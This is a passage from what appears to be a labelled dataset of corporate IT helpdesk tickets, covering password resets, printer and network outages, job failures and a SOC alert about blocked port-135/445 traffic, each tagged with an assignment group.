bom_0040_x000D_ +3313551 krbb10scfpr06085c 2132602:ft7:torx wrench_engineering_tool _x000D_ +3313561 krbb10scfpr06110c 2132602:ft7:torx wrench_engineering_tool _x000D_ +6235933 krcscfpr061y 2132602:ft7:torx wrench_engineering_tool 2132604:ft8:torx wrench_engineering_tool_x000D_ +6235934 krcscfpr062y 2132602:ft7:torx wrench_engineering_tool 2132604:ft8:torx wrench_engineering_tool_x000D_ +6235935 krcscfpr063y 2132602:ft7:torx wrench_engineering_tool 2132604:ft8:torx wrench_engineering_tool_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_11 +need to configure printers tc47 and tc19 need to configure printers tc47 and tc19,GRP_0 +reset passwords for mafgtnik -0 using password_management_tool password reset. the,GRP_17 +unable to extend the display on external monitor unable to extend the display on external monitor,GRP_0 +"circuit outage :germany,germany-divestiture site vpn rtr 02 is down at 08:04 am et 09/07,site is up on vpn rtr 01. what type of outage: _____network __x___circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ___no______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ________at 08:04 am et 09/07______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _____no__ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ---------------no------------(yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __yes______ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ______yes__ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? __na_________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ____yes___ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +reset passwords for césar abreu rghkiriuytes using password_management_tool password reset. the,GRP_17 +unable to launch netweaver unable to launch netweaver,GRP_0 +unable to print from adobe unable to print from adobe,GRP_0 +skype meeting code/pin need ability to create skype meetings through outlook.,GRP_0 +"hr_tool etime will not run after update ran last night, it asks for adobe flash which i tried to install several times immediate need",GRP_3 +"job Job_593 failed in job_scheduler at: 09/07/2016 07:52:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_593 failed in job_scheduler at: 09/07/2016 07:52:00",GRP_5 +windows password reset windows password reset,GRP_0 +problleme mit EU_tool \we212571 \bejvhsfx dmvsclhp problleme mit EU_tool \we212571 \bejvhsfx dmvsclhp,GRP_24 +battery charging issue battery charging issue,GRP_19 +need vpn access need vpn access. new employee has a company laptop. emzlw800043,GRP_34 +reset passwords for reghythicsa purvis using password_management_tool password reset. i just need to reset my password for the interaction desktop / telephony_software. user name is pughjuvirl,GRP_7 +unlock account lichtyuiwu7 unlock account lichtyuiwu7,GRP_0 +production order 'grade' is partially printed in hebrew. EMEA: production order 'grade' is partially printed in hebrew. please see example attached. in en it is printed fully.,GRP_20 +java issue unable to continue the java update,GRP_19 +"printer problem / issue information please complete all required questions below. _x000D_ +if not, it will be returned back to the gsc / requester to provide required information_x000D_ +_x000D_ + • gsc to review ticket, if not able to resolve then please assign to appropriate group per your printer problem assignment flowchart._x000D_ +_x000D_ + • printer name / make - model? kd05 (ex hq50 – wy98 - hp 8150) _x000D_ + _x000D_ + • detailed description of the problem ?can not install driver to use this printer._x000D_ +_x000D_ + • type of documents not printing? (email – excel – word…etc) any_x000D_ + (inwarehouse_tool – delivery note – production order…etc)_x000D_ +_x000D_ + • what system or application being used at time of the problem? outlook, word (ex windows / erp /kls)_x000D_ +_x000D_ + • if not printing at all, does it respond to a ping command on the network and has a power cycle of the printer been completed?_x000D_ +_x000D_ + • if erp system, which system? (ex SID_34 / SID_38 / hrp / plm)_x000D_ +_x000D_ + • if it's an erp printer problem can the erp output be rerouted to another erp printer temporarily?_x000D_ + what printer can it be rerouted too? _x000D_ +_x000D_ + • if document is not printing correctly, please scan copy of the document and attach to the ticketing_tool ticket.",GRP_0 +"security incidents - ( #in33578632) : suspicious ms-rpc/ms-ds/netbios activity - HostName_17 source ip: 29.26.13.3095_x000D_ +source hostname: HostName_17_x000D_ +destination hostname: lmxl9516623_x000D_ +user name:_x000D_ +location :_x000D_ +sep , sms status :_x000D_ +field sales user ( yes / no) : _x000D_ +dsw event log:_x000D_ +-------------------------------------------------------------------------------------------------------------------------------------------_x000D_ +we have detected at least 269 occurrences of your firewall att-apac-asa.company.com-1/54.96.80.216 dropping traffic sourcing from HostName_17/29.26.13.3095 and destined to port 135 of one or more destination devices. this activity may indicate one of the following:_x000D_ + 1. an infection on this host_x000D_ + 2. a misconfigured firewall_x000D_ + 3. a misconfigured host_x000D_ + 4. port scan (authorized or unauthorized)_x000D_ +_x000D_ +we are escalating this incident to you via a high priority ticket and a phone call per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at 877. _x000D_ +_x000D_ +1) ticket only escalation for these alerts where the traffic was blocked (explicit notification via a medium priority ticket (no phone call))_x000D_ +2) automatically resolve these alerts where the traffic was blocked to the portal (no explicit notification but events will be available for reporting purposes in the portal)_x000D_ +_x000D_ +sincerely,_x000D_ + soc_x000D_ +_x000D_ +=========================_x000D_ +technical details_x000D_ +=========================_x000D_ +historically, there have been various worms/malware that have used ports 135, 137, 138, 139, and 445 to propagate. examples include:_x000D_ +-w32.blaster.worm/msblast/lovsan _x000D_ +-w32.welchia/nachi_x000D_ +-w32.reatle_x000D_ +_x000D_ +port 135 - microsoft epmap (end point mapper), also known as dce/rpc locator service_x000D_ +_x000D_ +port 137 - netbios netbios name service_x000D_ +_x000D_ +port 138 - netbios netbios datagramdnty service_x000D_ +_x000D_ +port 139 - netbios netbios session service_x000D_ +_x000D_ +port 445 - microsoft-ds smb file shatryung_x000D_ +_x000D_ +additional information on these ports and best practices can be found at the following sites:_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +=========================_x000D_ +references_x000D_ +=========================_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +=========================_x000D_ +event data_x000D_ +=========================_x000D_ +related events: _x000D_ +event id: 93605481_x000D_ +event summary: internal outbreak for 135/tcp_x000D_ +occurrence count: 269_x000D_ +event count: 2_x000D_ +_x000D_ +host and connection information_x000D_ +source ip: 29.26.13.3095_x000D_ +source hostname: HostName_17_x000D_ +source port: 56991_x000D_ +destination hostname: lmxl9516623_x000D_ +destination port: 135_x000D_ +connection directionality: internal_x000D_ +protocol: tcp_x000D_ +_x000D_ +device information_x000D_ +device ip: 54.96.80.216_x000D_ +device name: att-apac-asa.company.com-1_x000D_ +log time: 2016-09-07 at 09:16:25 utc_x000D_ +action: blocked_x000D_ +cvss score: -1 _x000D_ +_x000D_ +scwx event processing information_x000D_ +sherlock rule id (sle): 537074_x000D_ +inspector rule id: 186739_x000D_ +inspector event id: 886845862_x000D_ +ontology id: 200020003203009144_x000D_ +event type id: 200020003203009044_x000D_ +agent id: 103955_x000D_ +_x000D_ +event detail:_x000D_ +sep 7 09:16:25 54.96.80.216 %asa-2-106001: inbound tcp connection denied from 29.26.13.3095/56991 to 10.10.6.61/135 flags syn on interface inside_x000D_ +sep 7 09:16:31 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57004 dst outside:192.168.1.131/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +sep 7 09:16:34 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57017 dst outside:192.168.0.17/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +sep 7 09:16:42 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57050 dst outside:192.168.2.101/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +sep 7 09:16:56 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57072 dst outside:192.168.1.141/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +sep 7 09:16:58 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57077 dst outside:192.168.1.101/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +sep 7 09:17:01 54.96.80.216 %asa-2-106001: inbound tcp connection denied from 29.26.13.3095/57083 to 10.254.255.39/135 flags syn on interface inside_x000D_ +sep 7 09:17:02 54.96.80.216 %asa-2-106001: inbound tcp connection denied from 29.26.13.3095/57086 to 10.240.84.111/135 flags syn on interface inside_x000D_ +sep 7 09:17:14 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57099 dst outside:192.168.1.94/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +sep 7 09:17:24 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57123 dst outside:192.168.1.107/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +sep 7 09:17:31 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57135 dst outside:192.168.0.103/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +sep 7 09:17:37 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57146 dst outside:172.16.100.30/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +sep 7 09:17:44 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57168 dst outside:192.168.1.128/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +sep 7 09:17:48 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57190 dst outside:192.168.1.14/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +sep 7 09:17:49 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57194 dst outside:192.168.1.110/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +sep 7 09:17:51 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57199 dst outside:192.168.1.234/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +_x000D_ +ascii packet(s):_x000D_ +[no entry]_x000D_ +_x000D_ +hex packet(s):_x000D_ +[no entry]_x000D_ +_x000D_ +event id: 93605486_x000D_ +event summary: internal outbreak for 135/tcp_x000D_ +occurrence count: 269_x000D_ +event count: 2_x000D_ +_x000D_ +host and connection information_x000D_ +source ip: 29.26.13.3095_x000D_ +source hostname: HostName_17_x000D_ +source port: 56991_x000D_ +destination hostname: [no entry]_x000D_ +destination port: 135_x000D_ +connection directionality: internal_x000D_ +protocol: tcp_x000D_ +_x000D_ +device information_x000D_ +device ip: 54.96.80.216_x000D_ +device name: att-apac-asa.company.com-1_x000D_ +log time: 2016-09-07 at 09:16:25 utc_x000D_ +action: blocked_x000D_ +cvss score: -1 _x000D_ +_x000D_ +scwx event processing information_x000D_ +sherlock rule id (sle): 537074_x000D_ +inspector rule id: 186739_x000D_ +inspector event id: 886845862_x000D_ +ontology id: 200020003203009144_x000D_ +event type id: 200020003203009044_x000D_ +agent id: 103955_x000D_ +_x000D_ +event detail:_x000D_ +sep 7 09:16:32 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57007 dst outside:192.168.1.131/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +sep 7 09:16:35 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57023 dst outside:192.168.0.17/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +sep 7 09:16:39 54.96.80.216 %asa-2-106001: inbound tcp connection denied from 29.26.13.3095/57040 to 10.70.120.71/445 flags syn on interface inside_x000D_ +sep 7 09:16:43 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57053 dst outside:192.168.2.101/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +sep 7 09:16:46 54.96.80.216 %asa-2-106001: inbound tcp connection denied from 29.26.13.3095/57057 to 10.10.6.61/445 flags syn on interface inside_x000D_ +sep 7 09:16:58 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57076 dst outside:192.168.1.141/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +sep 7 09:16:59 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57079 dst outside:192.168.1.101/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +sep 7 09:17:15 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57102 dst outside:192.168.1.94/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +sep 7 09:17:22 54.96.80.216 %asa-2-106001: inbound tcp connection denied from 29.26.13.3095/57117 to 10.254.255.39/445 flags syn on interface inside_x000D_ +sep 7 09:17:23 54.96.80.216 %asa-2-106001: inbound tcp connection denied from 29.26.13.3095/57120 to 10.240.84.111/445 flags syn on interface inside_x000D_ +sep 7 09:17:25 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57126 dst outside:192.168.1.107/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +sep 7 09:17:32 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57137 dst outside:192.168.0.103/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +sep 7 09:17:39 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57150 dst outside:172.16.100.30/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +sep 7 09:17:45 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57177 dst outside:192.168.1.128/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +sep 7 09:17:47 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57185 dst outside:192.168.1.117/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +sep 7 09:17:49 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57193 dst outside:192.168.1.14/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +_x000D_ +ascii packet(s):_x000D_ +[no entry]_x000D_ +_x000D_ +hex packet(s):_x000D_ +[no entry]_x000D_ +_x000D_ +_x000D_ +these appends may contain the same information as the original alert or may contain differences in the source destination pair. please view updates to this ticket via the portal. the security operations team will notify you as further information becomes available._x000D_ +_x000D_ + security analysis team_x000D_ +877",GRP_3 +spam call received from india. spam call received from india.,GRP_0 +anleitung fuer password_management_tool password manager gebraucht. anleitung fuer password_management_tool password manager gebraucht.,GRP_0 +job_scheduler workstation HostName_242 observerd fence & limit are 0 for HostName_242,GRP_8 +internet explorer update to version11 internet explorer update to version11,GRP_19 +erp SID_34 account unlock and password reset erp SID_34 account unlock and password reset,GRP_0 +"simfghon wants to use the mail. owa configured._x000D_ +explained that outlook is also already installed.",GRP_0 +we_wu101 account unlock. we_wu101 account unlock.,GRP_0 +i would like to download a free software called bizagi but i cannot due to some securities set up. i would like to download a free software called bizagi but i cannot due to some securities set up therefore i need your support ,GRP_33 +"data retrieval from backup server + +received from: vkzwibco.pueyvhoi@gmail.com + +dear sir/madam, + +some zipped folders of around 700-800 mb are missing from the following paths – + +(HostName_95) + +w:\zollerfgh - documents + +w:\trial data\softwares\zollerfgh + +these had the data backup from zollerfgh genius machine and are required on an urgent basis now because the machine is in breakdown condition. + +please retrieve this data from back-up server. + +",GRP_12 +"cisco access point is not working. + +received from: ughzilfm.cfibdamq@gmail.com + +hallo , + +cisco access point is not working. +mac address : 1819drtb8e64 + +",GRP_4 +"cisco access point is not working. cisco access point is not working. +mac address : 1819drtb8e64 +",GRP_4 +"account owner issue_please assign it to ""msd crm"" team i discovered that there is an issue with account owner in msd._x000D_ +below examples of company accounts which have set up owner as company._x000D_ +_x000D_ +_x000D_ +erp customer # (account) (account) owner (account) (account)_x000D_ +81587672 company_x000D_ +81936758 company_x000D_ +81660515 company_x000D_ +81932598 company_x000D_ +81883649 company_x000D_ +81542410 company_x000D_ +81805412 company_x000D_ +",GRP_40 +"it help _x000D_ +_x000D_ +received from: scjxobhd.ldypjkmf@gmail.com_x000D_ +_x000D_ +hello help team,_x000D_ +_x000D_ +can you pls. open a ticket._x000D_ +it help might be needed for a meeting scheduled at fürth, room #1, on september 14 (start at 9:00 am) & 15._x000D_ +the meeting will be conducted by two external trainers and they might need help to start their presentations (beamer)._x000D_ +_x000D_ +_x000D_ +",GRP_28 +"not able to open an xcel file. not able to open an xcel file. +",GRP_0 +"atp are available at delivery plant plant_283, but order items cannot get confirmed at the same day. from yesterday, we found that some order items can only be confirmed in future(not same day with order entry) even there are full atp available at delivery plant plant_283. csrs got many calls from customers to have them manually generate dn for their orders. _x000D_ +_x000D_ +here are some example, please check:_x000D_ +_x000D_ +35988706_x000D_ +24870388 #20 & #30_x000D_ +35989571 #10_x000D_ +35994606 #10_x000D_ +_x000D_ +",GRP_6 +"hello, i'm lbxgodfu usperhki from company italy. i've vpn profile is not working hello, i'm lbxgodfu usperhki from company italy. i've vpn profile is not working +can you please verify ? my user is : piolfghim +",GRP_0 +"netweaver - _x000D_ +_x000D_ +received from: bcxpeuko.utorqehx@gmail.com_x000D_ +_x000D_ +hello it team,_x000D_ +please help me to update the netweaver as i am receiving the below message._x000D_ +_x000D_ +[cid:image001.png@01d20923.e7e007d0]_x000D_ +_x000D_ +",GRP_0 +"policy ? _x000D_ +_x000D_ +received from: hbmwlprq.ilfvyodx@gmail.com_x000D_ +_x000D_ +please forward to pc support_x000D_ +it seems that there is a policy in place, that automatically adds websites to the list of sites, that should be viewed in ""compatibilty mode"". this is a setting in internet explorer._x000D_ +i would like to have this policy to be disabled, at least do not automatically add ""company.com"", ""company.com"" and ""company.com""_x000D_ +_x000D_ +[cid:image001.png@01d208f1.b6a23530]_x000D_ +_x000D_ +mit freundlichem gruß / kind ",GRP_39 +"babiluntr _x000D_ +_x000D_ +received from: dhtxwcng.hruckmey@gmail.com_x000D_ +_x000D_ +[cid:image001.png@01d208ef.f2293b00]_x000D_ +_x000D_ +viele grüße / best ",GRP_28 +"outlook is not opening name:ilypdtno mkdfetuq_x000D_ +language:_x000D_ +browser:microsoft internet explorer_x000D_ +email:ilypdtno.mkdfetuq@gmail.com_x000D_ +customer number:_x000D_ +telephone:_x000D_ +summary:outlook is not opening",GRP_0 +"job Job_2049 failed in job_scheduler at: 09/07/2016 04:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2049 failed in job_scheduler at: 09/07/2016 04:00:00",GRP_6 +"network outage : pol-poland site hard down since 9/7/2016 3:36 am et. no backup circuit. what type of outage: ___x__network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _________ 9/7/2016 3:36 am et_____________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ____no___ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __no____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ______na__ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? __no_______ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"job Job_512 failed in job_scheduler at: 09/07/2016 03:46:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_512 failed in job_scheduler at: 09/07/2016 03:46:00",GRP_8 +pls. unlock & reset windows & erp account for user vvtghjscha pls. unlock & reset windows & erp account for user vvtghjscha,GRP_0 +install win7 \ewew8323546 \sgnubadl gpkovbah install win7 \ewew8323546 \sgnubadl gpkovbah,GRP_24 +install win7 \ewew8323545 \sgnubadl gpkovbah install win7 \ewew8323545 \sgnubadl gpkovbah,GRP_24 +install win7 \ewew8323506 \vzqomdgt jwoqbuml install win7 \ewew8323506 \vzqomdgt jwoqbuml,GRP_24 +install win7 \ewew8323504 \vzqomdgt jwoqbuml install win7 \ewew8323504 \vzqomdgt jwoqbuml,GRP_24 +performance improvement/tuning performance improvement/tuning for machine summary & load list,GRP_41 +account locked out and password reset account locked out and password reset ,GRP_0 +"collaboration_platform 里面打开""查看我的所有应用""网站页面不能显示。 collaboration_platform 里面打开""查看我的所有应用""页面不能显示。",GRP_31 +"EU_tool not working the well-established work orders has been reported with ""system to a standstill."" it can be assumed then the machine operator no longer contracts. normal maintenance jobs without stopping the machine are imported.",GRP_25 +please unlock & reset windows password for dfrt user kreghtmph please unlock & reset windows password for dfrt user kreghtmph,GRP_0 +HostName_53 - f:\ label:dat2-HostName_53 d4e35b72 is over 85% space consumed. space available: 0.97 m HostName_53 - f:\ label:dat2-HostName_53 d4e35b72 on server: HostName_53 is over 85% space consumed. space available: 0.97 m,GRP_12 +"impacts awards password _x000D_ +_x000D_ +received from: gqwdslpc.clhgpqnb@gmail.com_x000D_ +_x000D_ +please reset my impacts awards password._x000D_ +_x000D_ +i am not remember even security question also._x000D_ +_x000D_ +_x000D_ +[cid:image003.jpg@01d20900.0a6e3390]_x000D_ +_x000D_ +_x000D_ +best ",GRP_0 +"circuit outage : usa - (company) vpn router is down since 02:01 am et on 09/07. primary is up. what type of outage: _____network __x___circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____slo_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _________02:01 am et on 09/07_____________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ____no___ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ____no___ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __yes___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ____yes____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ___no______ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ______na_____ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"pls help to create delivery note for sto 4908087268 _x000D_ +_x000D_ +received from: gjtyswkb.dpvaymxr@gmail.com_x000D_ +_x000D_ +dear it,_x000D_ +_x000D_ +would you pls help to create delivery note for sto 5019198379, for something error we unable to create, ",GRP_6 +"companysecure user can't get into the network + +received from: ctzykflo.evzbhgru@gmail.com + +dear all, + +we have a problem that our new sales rep for 1202, rbzymfvx lebqthwv (kujfgtats), personnel # 156604998 can't get into the network companysecure. +can you please check his settings – you can call him on mobile + +",GRP_0 +"erp bex hana issue system (SID_34, SID_37, SID_39, SID_38, hrp, other ?): + +enter user id of user having the issue: dofghbmes + +transaction code(s) the user needs or was working with: + +describe the issue: +the launcher was not able to connect analysis add-in. make sure that analysis add-in is not disabled by office application! + + +if you are getting a ""not authorized"" message, recreate the condition then do /nsu53 and attach result to the ticketing_tool ticket. + +provide access the same as this other user:",GRP_0 +"network outage : engineering_toolkuznetsk warehouse russia site hard down since 1:52 am et on 09/07. what type of outage: ___x__network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ______no___ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? __________1:52 am et on 09/07.____________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _____no__ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __no____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? _____no___ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _____no____ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ______na_____ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +windows account locked windows account locked ,GRP_0 +"job HostName_1019fail failed in job_scheduler at: 09/07/2016 01:48:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job HostName_1019fail failed in job_scheduler at: 09/07/2016 01:48:00",GRP_8 +"job Job_1386 failed in job_scheduler at: 09/07/2016 00:35:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1386 failed in job_scheduler at: 09/07/2016 00:35:00",GRP_9 +ebhsm004 - e:\ label:dat1-ebhsm004 dc16126c is over 85% space consumed. space available: 4.6 g ebhsm004 - e:\ label:dat1-ebhsm004 dc16126c on server: ebhsm004 is over 85% space consumed. space available: 4.6 g,GRP_65 +"laptop service tag- fh1r262 not working(keypad issue) _x000D_ +_x000D_ +received from: mzdkgnvs.svhkgyqb@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +i have a dell 7350 2 in 1 laptop, the system number is:aiul9912366_x000D_ +when i plug in my laptop to the keypad, the whole system is shutting down,_x000D_ +and with the screen docked in to the keybankrd i am unable to start the computer._x000D_ +when i tried charging , it is not doing so with the screen docked in._x000D_ +i am currently using the touch pad of the screen, and charging only the screen._x000D_ +the keypad is totally unresponsive._x000D_ +please help out._x000D_ +my user name is :rajy_x000D_ +_x000D_ +_x000D_ +",GRP_19 +only mouse is not working in system only mouse is not working in system,GRP_19 +"job Job_1329 failed in job_scheduler at: 09/07/2016 00:11:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1329 failed in job_scheduler at: 09/07/2016 00:11:00",GRP_9 +"error while extending mm# from: kbyivdfz zwutmehy [mailto:kbyivdfz.zwutmehy@gmail.com] +sent: wednesday, september 07, 2016 7:28 am +to: nwfodmhc exurcwkm +subject: rad:error while extending mm# + +hello, + +need to extend existing mm# 6427895 from plant plant_165 to plant_206. + +during processing mm01, the error message pop up ""material group should start with 'r' or 'd' for roh type."" +however the system doesn't allow me to change material group. + + + +*--.--.--.--.--.--.--.--.--.--.--.-the enormity of humanity / mankind is being insensitive-.--.* + +株式会社エクスツルードホーン +購買担当 有賀亮平 + +kbyivdfz zwutmehy +purchasing/buyer +company k.k. + +kbyivdfz.zwutmehy@gmail.com + + + +",GRP_29 +"unable to login to supply_chain_software unable to login to supply_chain_software_x000D_ +please reset the password ",GRP_0 +"wrench_engineering_tool macro issue _x000D_ +_x000D_ +received from: ucdwyxko.apktrsyq@gmail.com_x000D_ +_x000D_ +""we are unable to run a macro which is used to open an excel/word file in solidworks after skype updation (since 24.02.2016)._x000D_ +this macro is working fine in system where skype is not installed._x000D_ +_x000D_ +kindly resolve the issue at the earliest""._x000D_ +_x000D_ +_x000D_ +with best ",GRP_19 +"phone email + +received from: baoapacg.wanrtyg@company.com + +",GRP_0 +"babiluntr _x000D_ +_x000D_ +received from: blktuiae.jzakfmhw@gmail.com_x000D_ +_x000D_ +my licence for babiluntr will expire in 30 days_x000D_ +_x000D_ +please update this to use it more_x000D_ +_x000D_ +",GRP_0 +pls help to reset the password for this erp id: tempuser. pls help to reset the password for this id: tempuser.,GRP_2 +walkme加载故障 walkme下载安装后，按钮不能在浏览器界面显现,GRP_48 +电脑开机故障 原材料仓库电脑开机蓝屏，主机面板3、4指示灯报警,GRP_48 +gas station telephone line disconnection gas station telephone line disconnection ,GRP_31 +开不了机 开不了机，显示系统坏了��€‚,GRP_30 +"im locked out of erp agian name:sndaofyw jetcxpda +language: +browser:microsoft internet explorer +email:vichtyuky.warhtyonack@company.com +customer number: +telephone: +summary:im locked out of erp agian",GRP_0 +"user needs help with extended monitor projection. user needs help with extended monitor projection._x000D_ +-connected to the user system using teamviewer._x000D_ +-help the user witrh the extended monitor projection._x000D_ +-issue resolved.",GRP_0 +"ess login issue ess login issue_x000D_ +-verified user details.(employee# & manager name)_x000D_ +-checked the user name in ad _x000D_ +-advised the user to login and check._x000D_ +-caller confirmed that she was able to login._x000D_ +-issue resolved.",GRP_0 +"global_telecom_1 broadband + +received from: vnetbgio.lqxztben@gmail.com + +hi, + +not sure where to direct this. i was told to contact the help desk because my global_telecom_1 broadband isn't working when trying to use my laptop from a remote location. + +am i in the right place? + +davidthd rofghach +channel partner sales engineer +vnetbgio.lqxztben@gmail.com + + + + +",GRP_0 +"unable to complete forecast unable to complete forecast + +jochegtyhu is on vacation + +can you help me? + +fnqelwpk ahrskvln +regional manager latin amerirtca +fnqelwpk.ahrskvln@gmail.com + +from: fnqelwpk 